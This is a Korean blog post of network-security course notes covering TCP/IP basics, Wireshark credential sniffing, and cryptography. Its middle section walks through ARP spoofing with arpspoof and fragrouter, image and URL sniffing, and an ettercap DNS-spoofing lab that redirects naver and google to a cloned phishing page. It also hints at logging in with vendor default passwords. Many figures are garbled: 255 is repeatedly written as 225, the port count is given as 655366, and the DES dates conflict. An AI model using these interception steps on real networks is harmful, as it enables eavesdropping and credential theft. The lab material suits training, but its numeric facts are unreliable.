본문 바로가기
SK 쉴더스 루키즈

네트워크 보안

by todayisfriday 2024. 8. 9.

 

네트워크 기본

 

ARPA

  • 고등연구 기관으로 1960년대 중반 여러 연구기관들이 공동으로 프로젝트에 참여했는데 네트워크 장치 제조사가 달라서 호환이 안되어 통신이 안됐음
  • 서로 다른 네트워크 연결 시도
  • 현재는 DARPA(국방과학연구소)로 바뀜 : 로봇 연구 진행 중

 

TCP/IP

  • 네트워크 하드웨어를 만드는 회사가 다르더라도 연결이 가능하게 됨
  • 우선 서버는 프로세스
  • 컴퓨터에는 여러개의 Application이 동작중이기에 외부와 통신할 때 구분할 수 있게 하기 위해서 Port 번호를 사용
  • Applicaiton에는 웹서버, FTP서버, SSH서버, Telnet 서버, 이메일 서버 등등이 있음
  • 이제 이 각각의 서버를 네트워크에서 구분하기 위해서 포트를 사용하는거임 그니까 Port번호는 서버에 할당되는 거다라고 생각하면 됨!
  • 좀 더 쉽게 예제를 들어 설명하자면, 우편을 보낼 때 집주소와 받는 사람을 쓰잖아?
  • 집 주소가 IP주소고, 받는 사람이 포트번호인거야!!
  • Application은 Applicaiton계층, TCP와 UDP는 Transport계층, IP는 Internet계층, Network Infra는 Network Access 계층 (Network Infra는 하드웨어에 따라 달라질 수 있음)
  • TCP헤더와 IP헤더 형식은 달라지면 안됨!
  • Network Access 계층은 사진처럼 어디로 데이터가 어느 네트워크가 목적지이냐에 따라 달라진다는 말

 

LAN/WAN/MAN

  • LAN은 근거리 통신망

- WIFI(Wireless LAN), Ethernt, Token Ring, FDDI(광섬유)

- 회사를 예시로 들면, 건물 한 동은 Ethernet으로 연결 ------(WAN)------통신회사

- 집은 집집마다WI-FI, 아파트 한 동은 Ethernet, 아파트 단지도 Ethernet -----(WAN)-----통신회사

  • WAN은 원거리 통신망

- PPP, HDLC, ATM, Frame-Relay 등

  • MAN(Metropolitan Area Network)

- LAN의 확장판

- 라우터 대신 고속 스위치 사용

 

OSI Model

  • 아까 위에서 보았던 TCP/IP 프로토콜을 표준화 시킨 7Layer 기준이 마련됨

- L1 : Physical, L2 : DataLink // Network Infra

- L3 : Network // IP

- L4 : Transport // TCP/UDP

- L5 : Session, L6 : Presentation, L7 : Application // Application

  • 그치만 명목상의 표준이고, 기준을 제시했다는 것 뿐
  • 실제로는 구현되지 않음

 

전송단위(PDU)

  • Protocol Data Unit
  • PDU에는 Frame이 있고, Frame은 Packet을 운반하고, Packet 안에는 TCP Segment가 있는것!
  • 이제 Frame을 Bit Stream으로 이동시키다는 대충 그런 내용의 그림

 

헤더와 주소체계

  • 저 위의 그림을 좀 더 통상적으로 용어를 바꿔보면

FCS -- (초록색 두개 합쳐셔) Data -- TCP Header -- IP Header -- Frame Header

이렇게 돼있는건데

  • FCS는 오류검사를 하고, TCP Header에서는 출발Port와 목적지 Port를 갖고 있음
  • IP Header는 출발 IP주소와 목적지 IP주소를 갖고 있고
  • Frame Header에서는 출발 MAC주소와 목적지 MAC 주소를 갖고 있음
  • 이 때, MAC Address는 2계층 주소, IP Address는 3계층 주소, Port Number는 4계층 주소

 

알기쉽게 예제로 지금까지 내용을 설명해보기~~

  • 이정후에게 선물보내기(센프란시스코) (사실 나는 누군 지 모르지만 야구선수랬어..)

선물이 DATA에 해당!

2계층 주소 > MAC 주소 > 출발지 MAC : 서울 필동 --> 인천공항 (자동차로 이동)

인천공항 --> 샌프란시스코 공항 (비행기로 이동)

샌프란시스코 공항 --> 자이언츠 구장 (지하철로 이동)

(각각의 이동수단은 Frame Header를 의미함)

3계층 주소 > IP주소 > 출발지 IP : 서울 필동 --> 목적지 IP : 샌프란시스코 자이언츠구장

4계층 주소 > Port 번호 : 자이언츠 구장에 있는 이정후의 우편함 번호

  • 어때 좀 이해 돼?^^

 

네트워크 장치

  • Switch : 2계층 헤더를 보고 목적지 MAC 주소에 따라 목적지로 보내 줌 --> 네트워크 내부에 배치
  • Router : 3계층 헤더를 보고 목적지 IP주소에 따라 목적지로 보내 줌 --> 네트워크 맨 앞단에 배치
  • Load Balancer : 4계층 헤더를 보고 목적지 Port에 따라 여러 서버에 분산해서 보내 줌

 

Packet과 Frame

  • Ethernet의 경우, 최대 전송 단위(MTU)가 1500bytes이므로, Data + TCP + IP <=1500bytes 여야 함
  • 위의 예제에서 설명했듯이 Packet은 최초 출발지에서 최종 목적지까지 그대로 전달 됨
  • Frame은 각 구간별 통신 방식에 따라 달라질 수 있음
  • Frame의 공차 중량은 18bytes

 

MAC Address

  • OUI + NIC로 구성됨 (ex. 8C-B0-E9-1B-DF-CA)
  • 각 자리는 16진수로 되어 있음 (16은 2의 4제곱이니까 4bit, 4bit가 12개라 48bit)
  • 앞의 24bit가 OUI (제조사 식별코드, Vendor Code) : 제조사를 알 수 있음
  • OUI 번호는 IEEE(전기전자공학회)에서 판매 (아이 트리플 이 라고 읽음)
  • NIC는 Network Interface Card(랜카드)로 칩 안에 입력되어 있고 바꿀 수 없음
  • 뒤의 24bit가 NIC에 해당하고 제품 일련번호임 (제조사에서 부여하는 번호)
노트북 제조사와 핸드폰 제조사

 

 

* 네트워크 장비의 MAC주소 보면 어느 제조사인 지 알 수 있음

그래서 구글에서 default password 검색하면 제조사별로 ID/PW 정리 해둔 것이 있는데 기본 ID/PW를 안바꿨다면 그냥 들어가짐! 그래서 비밀번호 교체 필수...

 

*Xerox : Ethernet을 최초로 만든 회사 --> MAC주소를 처음 사용한 회사, Dr.Metcalfe가 Xerox 다닐 때 만들었는데 3com을 창립하고 hp에서 인수해 감

 

MAC 주소 중복?

  • 원래는 중복되면 안됨

- 회사마다 다른 OUI를 갖고 있고, 회사에서 뒷자리만 부여하기 때문

  • 대만의 어떤 회사에서 OUI를 등록하지 않고 기존의 OUI에 뒷번호를 중복해서 넣어서 판매함
  • 같은 네트워크에 있지 않으면 큰 문제가 없음
  • 같은 네트워크에 있다면 트래픽이 동일하게 들어가게 되어서 도청이 가능해 짐
  • 운영체제에서 실제 MAC주소 위에 가짜 MAC주소 얹어서 사용하게 되면 다른 사용자의 MAC주소와 동일해지면서 도청이 가능해지는 것!

 

이번에는 웹브라우저 입력 예시를 통해 헤더에 대해 설명해 보겠음

  • "신제품" 검색
  • http body + http header + TCP header + IP header + WI-Fi header

: 내 스마트폰 - IP 공유기(와이파이구간) --> 사설 IP

  • http body + http header + TCP header + IP header + Ethernet header

: IP 공유기 - 라우터 (이더넷 구간)

  • http body + http header + TCP header + IP header + PPP header

: 라우터 - 통신사 (PPP 네트워크)

  • http body + http header + TCP header + IP header + Ethernet header

: 구글 데이터 센터 내부망 (이더넷 구간)

 

IPv4

  • 각 자리가 0~255로 구성 되어 있음 (256은 2의 8제곱이므로 8bit)
  • 8bit씩 4자리로 구성 되어있고 각자리는 .(dot)으로 구분 (8bit = 1byte = Octet)
  • IPv4는 네트워크 부분과 호스트 부분이 있음 (ex. 성 + 이름)
  • 네트워크 부분과 호스트 부분을 구별하는 방법

1) Classful (클래스 기반 방식) : 현재는 사용하지 않음 (1992년에 종료)

- Class A : N.H.H.H

첫번째 옥텟이 0-127으로 시작 --> 2의 24제곱개의 IP사용 가능

- Class B : N.N.H.H

첫번째 옥텟이 128-191로 시작 --> 2의 16제곱개의 IP사용 가능

- Class C : N.N.N.H

첫번째 옥텟이 192-223으로 시작 --> 2의 8제곱개의 IP사용 가능

- Class D : Multicast

주소마다 용도가 지정되어 있음 224-239

- Class E : Not Used

기능이 비밀 240-225

2) Classless (클래스를 무시하는 방식) : 1992년 - 현재

- IP주소와 함께 Subnet Mask를 사용하는 방식

- Subnet Mask에서 1은 Network를 의미, 0은 Host

ex) 225.225.225.0 ( 225=11111111)

123.45.67.8 225.225.225.0 (네트워크 부분은 123.45.67, 호스트 부분이 8

--> 네트워크 주소 (호스트 부분을 0으로 하면) : 123.45.67.0 목적지를 찾을 때 사용

 

*Subnet Mask는 인터넷 통신 규약 주소가 어떠한 네트워크에 속해 있는지를 나타내 주는 것. 즉 아이피 주소의 네트워크 및 서브네트워크 부분을 식별할 수 있게 하는 32비트 숫자로 뒤에 있는 32비트

 

특수한 주소 체계

  • 네트워크 주소 : 호스트부분을 0으로 만듦 --> 123.45.67.0
  • 실제 호스트에 할당 가능한 주소는 123.45.67.1 ~ 123.45.67.254
  • 브로드캐스트 주소 : 호스트부분을 모두 1로 만듦 --> 123.45.67.225 (Direct Broadcast)
  • 전체 IP 주소가 다 1이면 : 225.225.225.225 --> Limited Broadcast (제한 브로캐스트로 같은 네트워크에서만 전달 가능)
  • 127.X.X.X :127로 시작하는 주소는 Loopback(자신에게 전달하는 주소)
  • 사설 IP주소(무료) : 다른 공인IP주소 (유료)와 라우팅이 되지 않는 주소

- 10.X.X.X / 172.16.X.X ~ 172.31.X.X / 192.168.X.X

 

NAT (Network Address Translation)

  • 나갈 때 내부망에서 사설 IP를 사용하는 경우, 인터넷에서 패킷을 보내려면 출발지 IP주소를 공인 IP주소로 교체해야 함
  • 들어올 때 목적지 IP주소를 사설 IP주소로 바꿔줘야 함
  • 예시 ) IP공유기 : 여러 사설 IP가 하나의 공인 IP를 공유하도록 해주는 장치

 

CIDR(싸이더, Classless Inter-Domain Routing)

  • 서브넷 마스크에서 1의 개수를 IP주소 뒤에 /를 하고 숫자로 표시하는 방식
  • 예시 ) 123.45.67.8 225.225.225.0 --> 123.45.67.8/24

123.45.67.8 225.225.0.0 --> 123.45.67.8/16

 

IPv4의 주소 부족 문제를 해결하기 위한 대책

  • 단기 : NAT(사설 IP사용), CIDR(Subnet Mask 사용), VLSM(가변길이 서브네팅) .. 등
  • 장기 : IPv6 사용 (IPv5는 IPv4와 호환이 안됨)
  • 부족 발생 원인 : ARPA에서 미국에 있는 연구기관들을 연결하는 것이 목적이어서 전세계가 다 사용할 것을 예상하지 못 함

 

IP Header의 구조

  • 사진 속 Time to Live 매우 중요 (TTL, 생명시간)

- 다른 네트워크로 이동할 때마다 1씩 감소 (= 라우터를 지나면 1씩 감소)

- TTL값이 0이 되면 패킷을 버림 : 목적지를 못찾는 패킷들이 인터넷을 혼잡하게 만들기 때문

- 운영체제에 따라 TTL 초기값이 결정됨 (Unix : 225, Windows : 128, Linux : 64)

 

IPv6

  • 주소길이 : 128bit
  • 앞의 64bit는 네트워크 주소 (Prefix)
  • 뒤의 64bit는 호스트 주소 (MAC주소 변형 또는 지정해서 사용 가능)

 

Port Number

  • 2의 16제곱이 할당되어 있음 (16bit, 655366개, 0 - 655365)
  • 범위 구분

- System Port (Well-Known Port) : 0 -1023 --> 공통으로 많이 사용하는 서버용 포트

- User Port : 1024 - 49151

--> 특정회사에서 만드는 서버용, 사용허가 받고 사용하는 것이 원칙 (포트중복방지)

ex) IRC : 6667, RDP : 3389, MySQL : 3306

- Private Port(Dynamic Port) : 49152 - 65535 --> 클라이언트용 프로그램에서 주로 사용

ex) Chrome, Edge, Safari 등

  • 포트 번호는 Application 식별자

 

TCP/UDP

  • TCP

- 주로 사람이 요청하는 데이터 전송 시 사용 ex) E-mail, http, SSH, FTP 등

- 용량이 큰 데이터 (동일 경로, 순차전송) : 동영상, 사진, 문서 등 (1460바이트 넘는 경우)

- 중간에 누락되면, 다 버리고 누락된 부분부터 다시 받음

  • UDP

- 주로 시스템 간에 정보 교환 시 사용 ex) SNMP, DNS, NTP 등

- 실시간 데이터 : 음성, 화상, 화면 등 (Zoom, WebEx, 게임화면 등)

- 패킷이 누락되더라도 확인 불가, 그냥 지나감

 

Packet의 유형

  • NBNS ( NetBios Name Service) : 윈도우 시스템끼리 윈도우 컴퓨터 이름을 지정하고 컴퓨터 이름으로 통신이 가능함(파일 및 폴더 공유 등), IP주소 없어도 NBNS는 동작 가능

 


 

Wireshark

 

개요

  • 가장 많이 사용하는 오픈소스(무료, 소스코드 공개)
  • 패킷분석 도구
  • 처음에는 Ethereal)이라고 했는데, wireshark로 변경
  • 유선, 무선(Wi-Fi, Bluetooth 등), USB 등의 트래픽도 분석 가능
  • www.wireshark.org
  • Npcap : Nmap Packet Capture

 

*패킷 캡쳐 도구들

Unix, Linux 용 : Libcap (Packet Capture Library)

예전에 윈도우용으로 썼던 WinPcap (Window Packet Capture) --> 최근에는 사용 안 함

 

실습

  • Kali에서 유튜브 검색한 후 패킷 보기
통계 화면

 

  • FTP_sniff.pcapmg

- 3-Way Handshaking 패킷 번호 찾기 : 2번 나옴 (하나는 FTP 명령어 포트, 하나는 FTP 데이터 포트)

- FTP ID와 PW 전송한 패킷 번호 찾기

- FTP는 명령어 전송을 4글자로 함 : User, Pass, Quit

*TCP Stream 확인하기 : 오른쪽 마우스 > Follow > TCP Stream

붉은색 글씨 : 클라이언트 -> 서버, 푸른색 글씨 : 서버 -> 클라이언트

TCP Stream 확인 한 거

 

  • telnet_sniff.pcapng

- 3-Way Handshaking 번호 확인

- Telnet 로그인 ID와 PW 찾기

- Telnet은 클라이언트에서 입력한 글자에 대해 서버에서 에코를 보내줌, PW는 에코를 하지 않음

stream follow 화면

 


 

Wireshark 패킷 분석

 

로그인 ID와 PW 찾아보기

  • 3-Way handshaking 찾아보기 : 본격적으로 접속하는 시점을 알 수 있음
  • 로그인을 하는 경우처럼 데이터를 넣어서 전송하면, http에서 POST로 전송

- POST 라는 글자를 찾아보면 되겠죵

  • 단순한 페이지 요청(링크 클릭 등), 검색어 입력 : GET으로 요청
  • ID/PW 찾는 방법 3가지

- 편집>패킷찾기>표시필터 : 문자열(String) --> POST 검색

- 표시 필터(Display Filter)에 http.request.method == POST

- 표시 필터(DIsplay Filter)에 frame contains "찾을키워드(여기선 password)"

- frame matches "찾을키워드"도 가능! 근데 contains는 대소문자 구분함

각각 방법 1,2,3으로 찾은 것

 

사진 찾아보기

  • 예제에서는 FTP를 이용해서 사진을 전송함
  • 21번 포트 : FTP 명령어 포트
  • 20번 포트 : FTP 데이터 포트
  • FTP-DATA 패킷 > 따라가기 > TCP스트림 > 저장해서 보기
  • FTP는 명령어와 데이터가 포트로 구분되어 있어서 따로 전송됨

- 이미지 추출이 간편함

  • http는 요청과 응답 그리고 데이터가 같은 포트로 섞여서 들어옴

- 불필요한 부분 제거 필요

 

사진 알아내기

  • 3-Way handshaking 찾기
  • 1514 bytes = 데이터(1460) + TCP(20) + IP(20) +Ethernet(14)
  • FF D8 FF E0의 이전부분 블럭설정해서 삭제하고 추출!

 

검색한 단어 알아내기

  • http.request.method == GET

 

열린포트 모두 알아내기

  • SYN을 보냈을 때 열린 포트는 ACK/SYN으로 응답
  • 닫힌 포트는 ACK/RST 또는 RST로 응답
  • tcp.flags 순서는 UAPRSF : 십진수 기준 F는 1, S는 2(0x02), R은 4, P는 8, A는 16(0x10), U는 32
  • tcp.flags ==0x12 (16진수로 입력)
  • tcp.flags == 18 (십진수로 입력)
열린포트 23개인 것을 알 수 있음 (밑에 보면)

 

 

ARP(Address Resolution Protocol)

  • IP주소와 MAC 주소를 연결해주는 프로토콜
  • MAC 주소는 HW에 고정되어 있음
  • IP주소는 MAC 주소에 매핑해서 사용

- 이동하거나 새로고침하면 IP주소는 바뀌기도 함

  • 외부에서 패킷이 들어오면 목적지 IP를 보고 해당하는 MAC주소를 찾아서 Ethernet Header를 만들게 됨
  • ARP Cache Table에 IP주소와 MAC주소를 매핑해서 저장해 둠

- 명령프롬프트에서 cmd>arp -a 하면 내용 확인 가능

  • 만일 ARP Cache Table에서 IP 주소를 찾을 수 없으면, ARP Request(Limited Broadcast) 보냄
  • 해당 호스트에서 ARP Reply(Unicast)를 보내서 자신의 IP주소와 MAC주소를 알려줌
  • ARP Request를 보냈던 컴퓨터는 그 내용을 ARP Cache Table에 저장

 

ARP Spoofing 실습

  • VMware에서 window7 열어 줌
  • window7에서 명령 프롬프트 켜고 cmd> arp -a로 정상 상태의 ARP Cache Table내용 확인
  • Kali Linux에서
$ sudo  apt  update
$ sudo  apt  install  dsniff
$ sudo nmap  -sP  192.168.5.1-140
// 결과 : 192.168.5.131 --> 윈도우인지 알기 위해 ping 보내고 OS 확인
$ ping  192.168.5.131               // TTL=128 윈도우임
$ sudo  nmap  -O  192.168.5.131     // Running: Microsoft Windows 7
$ sudo  arpspoof  -t  192.168.5.131  192.168.5.2  
// -t : target,  2초에 한번씩 ARP Reply를 보냄
 
  • window7에서 cmd> arp -a로 다시 확인해 보면, 게이트웨이 주소인 .192.168.5.2의 MAC주소가 kali의 MAC주소와 동일하게 변경된 것을 확인 가능
위 정상, 아래 공격 당한 것

 

  • Kali 에서 추가 작업
// File > New Tab
$ sudo  apt  install  fragrouter        // Window7에서 보내는 트래픽을 게이트웨이로 전달해줌
$ sudo  fragrouter  -B1                 // 정상 포워딩

// File > New Tab
$ sudo  wireshark
// eth0을 더블클릭
 
  • 윈도우에서 암호화 안되어있는 사이트 방문
// Kali Tab1
$ sudo  arpspoof  -t  [타겟호스트]   [게이트웨이]
// Tab2
$ sudo  fragrouter  -B1
// Tab3
$ wireshark                // 트래픽 모니터링
 
  • Victim host (Win7)에서 암호화 안되는 웹사이트에서 입력한 값을 Wireshark에서 볼 수 있음(Traffic Flooding)
  • VMware의 NAT에서는 별도의 설정을 하지 않으면, Traffic을 다른 가상머신에서도 볼 수 있음(Traffic Flooding)

 

Victim Host가 웹사이트 접속할 때 Image만 훔쳐보기

//Kali 에서
$ sudo apt install driftnet
$ ifconfig  // 어떤 인터페이스에 들어오는 트래픽 모니터링 할 것인 지 결정 (eth0)
$ sudo driftnet -i eth0
 

 

urlsnart

  • 무선 인터페이스 스니핑 : # urlsnarf -i wlan0
  • 유션 인터페이스 스니핑 : #urlsnarf -i eth0

 

Packet Sniffing

  • 데이터 도청의 의미
  • 공격자는 데이터 도청을 통해 password, file, 중요메세지 등을 엿볼 수 있음
  • Packet Sniffing을 위해 ARP Spoofingm, DNS Spoofing을 이용해서 Phishing 기법을 활용
  • 암호화 하지 않은 프로토콜 ( FTP, Telnet, HTTP 등)을 이용하면 Sniffing 기법을 이용해 쉽게 패스워드 알아낼 수 있음
  • 암호화된 프로토콜 ( SSH, SSL/TLS, VPN 등)을 이용하면 Sniffing하더라도 암호화된 메시지를 복호화하기에는 아주 어려움
  • https : 443번 포트, http : 80번 포트

 

*SSL Strip

MITM 방식을 사용해서 서버와 클라이언트 사이에서 키교환 할 때부터 끼어들엇 암호화 키를 갖는 기법

:암호화된 사이트도 도청할 수 있음 BUT 최근에 검증이 추가되어 쉽지 않음

 

*MITM

Man In The Middle attack : 중간자 공격

 

*Phising과 Pharming

Phising : 가짜 사이트, 가짜 도메인에 속거나 링크 클릭

예시) www.citybank.com : 틀린주소 www.whitehouse.com : 틀린주소

www.citibank.com : 올바른 주소 www.whitehouse.gov : 올바른 주소

Pharming : DNS Spoofing, 올바른 도메인 입력했는데도 가짜 사이트로 연결됨

 

DNS Spoofing(=Pharming) 실습

$ sudo  -i  //귀찮아서 root 권한으로 계속 하는 것
# service  apache2  start  
 
  • Firefox로 네이버 방문해서 스크린 저장 (/home/kali/Pictures에 저장됨)
// 피싱사이트 구축

# cd  /home/kali/Pictures  
# cp  naver.png   /var/www/html
# cd  /var/www/html
# rm  index.html
# vi  index.html
   i
   <img src="naver.png">
   ESC 
   :wq

# vi  /etc/ettercap/etter.dns
i
   *.naver.*    A   192.168.5.128  //Kali IP주소
   *.google.*    A   192.168.5.128 //Kali_new IP 주소
ESC
:wq
 
  • DNS spoofing Tool 실행

- ettercap -G

- Unified sniffing

- Hosts > scan for hosts

- 192.168.5.2 Add to target1

- 192.168.5.131 Add to target2 (Victim)

- MITM > ARP Poisoning

- sniff remote connections

- Plugins > Manage the plugins > dns_spoof

  • win7에서 www.naver.com 치면 아까 캡쳐한 사진 뜸
  • www.google.com 해봐도 마찬가지!

 

Sniffing 방지 실습 (SSH 패스워드 암호화)

  • Kali에서 SSH 설치하고 서비스 시작
  • 원래 컴퓨터에서 Wireshark켜고 VMnet8 더블클릭
// 명령프롬프트에서
cmd>  ssh  kali@192.168.5.128
      공개키 해시값이 맞는지?     yes

// Kali에서
$ pwd
$ whoami
$ exit
 
  • Wireshark로 보면 암호화 프로토콜 SSHv2.0 등이 보임
  • Follow해서 스트림 보면 암호화된 트래픽이 한가득 --> 내용 알 수 없음

 


 

암호화 원리

 

치환(Substitution)

  • 글자를 다른 글자로 바꾸는 것
  • 약속된 규칙을 Key라고 함 : 암호화 키, 복호화 키
  • 암호화 키 : 평문을 암호문으로 만드는 규칙
  • 복호화 키 : 암호문을 평문으로 만드는 규칙
  • 암호와키와 복호화키가 서로 대칭을 이루면 대칭키라고 함

 

*대칭키 예시

암호화 키가 Shift +2일 때, 복호화 키는 Shift -2 이므로 서로 대칭을 이룸

평문 : Thanks god its friday

암호문 : vjcpmu igf kvu htkfa

한 번 해볼 수 있는 사이트 : https://rot13.com/

rot13.com

rot13.com About ROT13 ↓ ↓

rot13.com

 

이니그마와 앨런튜링

  • 이니그마 : 독일군 암호화 단말기
  • 앨런튜링이 만든 봄비(Bomby) : 다 복호화시켜버림~~ 컴퓨터로 발전~~
  • 개짱천재 앨런튜링은 애플로고의 사과 한 입 베어먹은 주인공, 스티브잡스가 좋아했다고 하지.. 그리고 이미테이션게임 실화 주인 (배네딕트 컴버배치 알라뷰)
  • Turing Completeness(튜링 완전성) : 한 가지 방식만 사용할 수 있는 게 아닌 다용도

- 컴퓨터, 스마트폰 등

- 이더리움 : 화폐, 프로그램실행, 스마트 계약 등

cf) 한가지만 가능 : 냉장고, 세탁기, 라디오 등 / 비트코인(화폐만)

 

순열(Permutation)

  • 알파벳의 순서를 바꾸는 방식

 

*순열 예시

평문 : Thanks god its friday

전처리 : Thank sgodi tsfri dayab (뒤에 ab임의 추가)

암호문 : aThkn osgid ftsir ydaba

복호화키 : 31254 --> 12345

 

 

대칭키 (Symmetric Key)

  • 암호화 키와 복호화 키는 서로 대칭을 이룸
  • 사실상 하나의 키 (Single Key)
  • 한 번의 세션에서만 사용하고 세션 끝나면 버림 (Session Key)
  • 암호화 및 복호화를 할 수 있기에 비밀리에 사용해야 함 (Secret Key)
  • Symmetric Key = Single Key = Session Key = Secret Key
  • 장점 : 속도가 빠름, 다양한 알고리즘을 이용해 만들 수 있음 (공개키보다 약 100-1000배 빠름)
  • 한계 : 키 안전하게 전달 어려움, 개수 많아짐

 

대칭키 종류

  • DES(Data Encryption Standard) : 1997-2000

- NIST(미국국립표준원)에서 Lucifer 기반 대칭키 표준 만듬

- Backdoor 포함 의혹 --> 2000년 RSA Conference에서 DES 크래킹 시연 성공

- 2000년 DES가 표준에서 제외 됨

  • 3DES : 임시 표준
  • AES (Advanced Encryption Standard) : 2001-현재

- 128bit/192bit/256bit 있지만, 최근 128bit에는 안전성 문제 제기되어 256bit만 사용

  • SEED : 국내 대칭키

- 은행 공동망에서 사용 (한국,신한,우리,국민,하나)

- 소스코드 공개 이유 : 백도어가 없다는 것을 보여주기 위해(신뢰성 향상)

- seed.kisa.or.kr 에서 확인 가능

- 소스코드를 공개하더라도 안정한 대칭키가 만들어진다는 보장 있으면 됨

- 대칭키를 비밀리에 관리해야 함

- 대칭키를 만드는 알고리즘은 공개하고 대칭키는 안전하게 관리

  • HIGHT, LEA, ARIA : 모바일 환경에 적합하도록 국내 경량 암호화

- 소스코드는 공개

  • 대칭키의 종류는 수백가지이고 각자 본인 나라에서 만든 암호 알고리즘 사용하는 것이 일반적

 

DES 암호문 생성 실습

# vi test.txt
  i
  Kill the king tomorrow
  ESC
  :wq
# openssl enc -e -des3 -in test.txt -out test.enc  //암호화
// -e : encryption, -in : 입력, -out : 출력
# rm test.txt   //평문 삭제
# openssl enc -d -des3 -in test.enc -out boan.txt //복호화
 

 

AES 암호문 생성 실습

# openssl enc -e -aes-256-cfb -in boan.txt -out aes.enc  // 암호화
# openssl enc -d -aes-256-cfb -in aes.enc -out boan1.txt //복호화
 

 

secret.enc 파일 복호화 해보기

  • PW : 12345

 

블록 암호 알고리즘과 스트림 암호 알고리즘

  • 블록 암호 알고리즘 : 암호화 할 때 데이터를 작은 블록(block)으로 잘라서 각 블록단위로 암호화
  • 스트림 암호 알고리즘 : Bit Stream을 키로 연산해서 암호화 스트림 만들어서 보내는 방식

 

*RC4 (2000중반 - 2010년 중반까지 사용)

  • 스트림 암호 알고리즘 중 하나
  • 송신 측에서 암호화 하는 과정

- 평문 : 0101 0101 0101 0101 0101

- 키 : 0010 0100 1001 0010 0100

- XOR : 0111 0001 1100 0111 0001 --> 암호문이 되어 전송

  • 수신 측에서 복호화 하는 과정

- 암호문 : 0111 0001 1100 0111 0001

- 키 : 0010 0100 1101 0010 0100

- XOR : 0101 0101 0101 0101 0101 --> 평문

 


 

 

 


 

암호화 방식

  • 대칭키 : 암호화 키와 복호화 키가 서로 대칭을 이룸 --> 사실상 하나의 키, 비밀키
  • 비대칭키 : 공개키 암호화

 

대칭키의 종류

  • DES : 최초의 표준 대칭키 (1977 ~ 2000)
  • AES : 현재 표준 대칭키 ( 2001 ~ 현재) , 리인델(Rijindael)
  • SEED : 국내에서 개발한 대칭키 , 은행공동망
  • ARIA, LEA, HIGHT : 경량 암호화 (모바일 시대)
  • Blowfish ( 브루스 슈나이어), RC6(라이베스트) : 미국에서 많이 사용하는 대칭키

 

대칭키의 장단점

  • 장점 : 암호화, 복호화 속도가 빠름. 다양한 알고리즘을 활용해서 제작 가능
  • 단점 : 키 개수의 문제 ( N*(N-1)/2), 키 전달의 문제점, 인증/부인봉쇄 안도미

 

대칭키의 원리

  • 치환 ( Substitution)

- 글자를 다른 글자로 바꾸는 것

- 공격 방법 : 빈도수 공격 ( 영어 특성상 e,t,s 많이 사용하므로 가장 많이 보이는 알파벳을 e,t,s로 추정)

  • 순열 ( Permutation)

- 알파벳을 일정 크기로 자른 후, 순서를 규칙에 따라 재배열

  • 매트릭스

- 가로로 쓰고(평문), 세로로 전달(암호문)

- 핵심 : M*N 매트릭스의 숫자가 암호화 키이고 복호화 키가 됨

  • 톱니바퀴를 이용한 이니그마(독일군 암호화 기계)
  • Bomby를 이용해 암호화 키 알아내는 도구 (앨런 튜링)
  • AES는 치환과 전치를 여러 번 반복 (SPN구조 : Substitution & Permutation Network)
  • AES 실습 :https://anycript.com/

대칭키를 사용해서 만든 문장은 비밀키가 있으면 누구나 평문 확인 가능

AES에서 암호화 적용 방법

  • ECB는 각 블럭을 따로 암호화
  • CBC는 암호화 결과를 다음 번 블록하고 XOR 연산을 함
  • ECB보다 CBC가 훨씬 안전

공개키

 

공개키 방식의 특징

  • 두개의 키를 사용하는 방식 (암호화 키=/= 복호화 키)
  • 두 키는 서로 다름

- Private Key : 혼자서 비밀리에 보관하고 혼자서만 사용하는 키 (개인키)

- Public Key : 거래 상대방에게 제공하는 키 (공개키)

  • Public Key를 공개하더라도 Private Key를 알아내는 것은 불가능

- Private Key로 Public Key를 생성해 낼 수 없음

- Public Key가 외부에 노출되어도 상관 없음

 

Diffie-Hellman

  • 최초의 공개키 (1976년)
  • 20대 초반에 만들어가지고 바로 이걸로 박사됐대
  • 키 개수의 문제 해결

- 누구나 한쌍의 키를 가짐 (공개키와 개인키)

- 개인키는 자기 혼자만 안전하게 보관하고 사용

- 공개키는 거래 상대에게 제공함

  • 키 전달의 문제 해결

- 공개키를 서로 교환한 후에 자신의 개인키와 상대의 공개키를 연산해서 대칭키(세션키)를 생성해 냄

- 데이터를 대칭키(세션키)로 암호화해서 보내면, 상대방도 복호화 가능

*mod 함수 (Modulation) : 나눠서 남는 나머지를 계산하는 함수

 

그니까 이거 보면 모르겠잖아 그니까 봐바 앨리스의 개인키와 공개키, 밥의 공개키와 개인키가 있어 근데 앨리스의 개인키랑 밥의 공개키를 mod함수를 이용한 연산을 하게 돼서 나온 결과랑 밥의 개인키와 앨리스의 공개키를 mod함수를 이용해서 한 연산의 결과가 같아서 데이터를 그 같은 값(세션키가 되는거지)을 통해서 주고받는 그런 원리인데 이 때 역연산을 하면 안되나? 하지만 안돼 왜냐면 나머지가 같은 값들은 무수히 많기 때문에 무수히 많은 것 중 하나를 찾는 것은 0에 수렴하기 때문이지... 잘 이해가 되지 않겠지만 그림을 보여줘볼게

 

Diffie-Hellman 방식의 약점

  • 중간자 공격 (Man In the Middle Attack)

- 중간에 공격자가 끼어들어서 양쪽에 자신의 공개키를 제공하는 공격 방식

  • 도청이 가능해짐, 메시지 수정 가능
  • 그니까 쉽게 말하면 맬러리가 앨리스랑 밥 사이에 끼어들어서 원래 앨리스 공개키를 밥이 갖고 밥의 공개키를 앨리스가 갖는데 맬러리의 공개키를 앨리스랑 밥이 갖게 되면서 맬러리는 앨리스와 밥 모두와 대칭키를 갖게 되는거지 그래서 모든 데이터가 맬러리를 거쳐서 전달되는거야 오키?

 

RSA(Rivest Shamir Adleman)

  • 개인키로 암호화(서명)하면 공개키로 복호화 할 수 있음 : 인증(Authentication)
  • 공개키로 암호화하면 개인키로 혼자서만 볼 수 있음 : 기밀성(Confidentiality)
  • 두 쌍의 키를 사용

- Private Key를 생성한 다음 Public Key를 추출하는 방식 (한 쌍)

- Private Key는 자신 혼자 보관 : 공동인증서

- Public Key는 암호화 통신을 하고 싶은 상대에게 제공 : 공동인증서 등록 (공개키를 달라는 의미)

  • 하나의 키로 암호화 하면 그 키로는 복호화가 안되고 쌍이 되는 다른 키로만 복호화가 됨

- Alice의 공개키로 암호화 하면, Alice의 공개키로는 복호화가 안되고, Alice의 개인키로만 복호화 됨

- BoB의 개인키로 암호화하면, Bob의 개인키로는 복호화가 안되고, Bob의 공개키로만 복호화 됨

- 만약 복호화를 하려 했는데 복호화가 안되면 그 쌍이 되는 키가 아님 : 증명(아무나 복호화 못 함)

